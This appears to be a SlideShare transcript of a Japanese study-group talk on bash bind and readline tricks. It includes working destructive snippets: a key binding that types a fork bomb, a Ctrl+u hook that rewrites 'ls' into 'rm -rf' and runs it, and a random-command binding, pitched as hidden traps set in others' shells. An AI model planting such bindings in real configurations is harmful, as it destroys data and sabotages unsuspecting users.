Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

潜入工作任務用シェル芸

509 views

Published on

2017/12/02の第32回シェル芸勉強会で発表に使ったスライドです

Published in: Software
  • Be the first to comment

潜入工作任務用シェル芸

  1. 1. 潜入工作任務用シェル芸 たいちょー
  2. 2. みなさん#!/bin/bash(こんにちはの意) たいちょーです @xztaityozx_001 <-- Twitterです C#だいすき!大学X年生! ターミナルに込められた暗黒の力でシェル芸人 やってまーす
  3. 3. 今回も 難読化のお話をしたいとおもいます でもネタ切れです ひねり出して考えたんですけど という感じだったのでタイトルから消しちゃい ました 難読化なのかこれは・・・?
  4. 4. 難読化シェル芸 #とは kanata氏考案のヤバいシェル芸 定義 内部的な動作の手続き内容・構造・データなどを人 間が理解しにくい、あるいはそのようになるよう加 工されたシェル芸のこと。 -- A painter and a black cat より
  5. 5. 最近の情勢 ダブルシンク難読化シェル芸のおかげで危険 シェル芸人と一般シェル芸人の間に平和が訪れ た この平和はしばらく続くだろう ※フィクションです
  6. 6. 最近の情勢 しかし一部の過激な危険シェル芸人は平和すぎ る今に不満を持っている 「俺たちのような戦争屋(危険シェル芸人のこと)が 戦争以外に何をすればいい?」 闘争は人間の本能か
  7. 7. 危険シェル芸検知技術 現在はキーロガーやタイプ音盗聴によって危険 シェル芸が禁止されておりほぼ不可能 そこで使うのが
  8. 8. 潜入工作任務用シェル芸
  9. 9. 潜入の基本は気づかれないこと 気づかれないように危険シェル芸をする 難読化してもキーロガーでバレるため普通にタプす るのは不可能 なんかないかなあ bind
  10. 10. bashのreadlineとbind bindはbashのキーバインドを設定するやつ readlineはコマンドライン編集のライブラリ 前回の東京の方のLTでbashrcの話があったけ ど意外とbindに関してはなかった みんな使ってない系・・・?
  11. 11. READLINE_LINEとREADLINE_POINT READLINE_LINEは現在入力されている文字列 READLINE_POINTには現在のカーソル位置 bindから呼び出される関数内でこれを変更すれ ば現在の入力とかを自由にできる
  12. 12. READLINE_LINEとREADLINE_POINT 皆さまお得意のシェル芸でREADLINE_LINEと READLINE_POINTを書き換えるような関数を定 義し、bindすると楽しいターミナルライフ vimのバインドも再現できるかも!? ここでediting mode viとかいう人・・・! 禁足事項です
  13. 13. ぼくのbind設定例 実際にご覧ください→ 分かりにくいかもしれませんが・・・
  14. 14. 危険bindを使う キーバインドならキーロガーでバレない bashrc見られたらバレる 意地でもbashrcを見せないぞという堅牢な意思 を持った危険シェル芸人向け
  15. 15. 危険bind例1 素直にbindに仕込む
  16. 16. 記号になってつらい bind '"C-xfb":"C-eC-u:(){ :|: & };:C-m"' 入力キー:Ctrl+x f b 動作:行末に移動(C-e)→全消し(C-u)→フォーク 爆弾展開→エンター(C-m) ビビったecho版 bind '"C-xfb":"C-eC-uecho abcC-m"'
  17. 17. 危険bind例2 いつものバインドを書き換え
  18. 18. 危険 いつも使っているバインドに上書きして誰かが 起爆させるのを待つ
  19. 19. 想定ケース よ~しシェル芸しちゃう ぞ! ls /bin/ /binにあるコマ ンドはこれだけ か! ならアレができ るな!一度消す ぞ! Ctrl+u シェル芸人X
  20. 20. C-uに仕込む __kiken_sed__(){ READLINE_LINE=$(echo $READLINE_LINE|sed 's/^ls /rm -rf /'); READLINE_POINT=${#READLINE_LINE}; } bind -x '"C-u":"__kiken_sed__C-m"'
  21. 21. 発動させると ls /bin/ ↓ rm -rf /bin/ C-mがあるので自動的にEnterが送信される
  22. 22. 危険bind例3 ランダムにコマンドを実行する
  23. 23. /bin/にあるものを1つ選んで実行 __rand_select__(){ READLINE_LINE="$(ls -1 /bin/|shuf|head -n1)" READLINE_POINT=${#READLINE_LINE} } bind -x '"C-l":"clear;__rand_select__C- m"'
  24. 24. 動作 クリアーしようとCtrl+l押すとクリアされてラ ンダムにコマンドが実行される
  25. 25. 潜入工作員になるために ここまでの例に 痕跡を消す 関数定義削除やバインド解除 bind自体の難読化 やはり難読化 などを追加すれば君も潜入工作シェル芸人だ! 目指せ!伝説の傭兵!
  26. 26. おわかりいただけただろうか bindとreadlineが以下に強力なのかが解って いただけたでしょうか これを聞いた皆さんは危険bindをしてもいいし しなくてもいい。ぼくはしない
  27. 27. bindしよう! https://github.com/xztaityozx/dotfil es/blob/master/bind.bash ここに僕のbind定義ファイルを置いておきます 気になったらご覧ください こういうbindテクあるよ!というのも聞きたい です!!
  28. 28. 参考 http://hogem.hatenablog.com/entry/20 090411/1239451878

×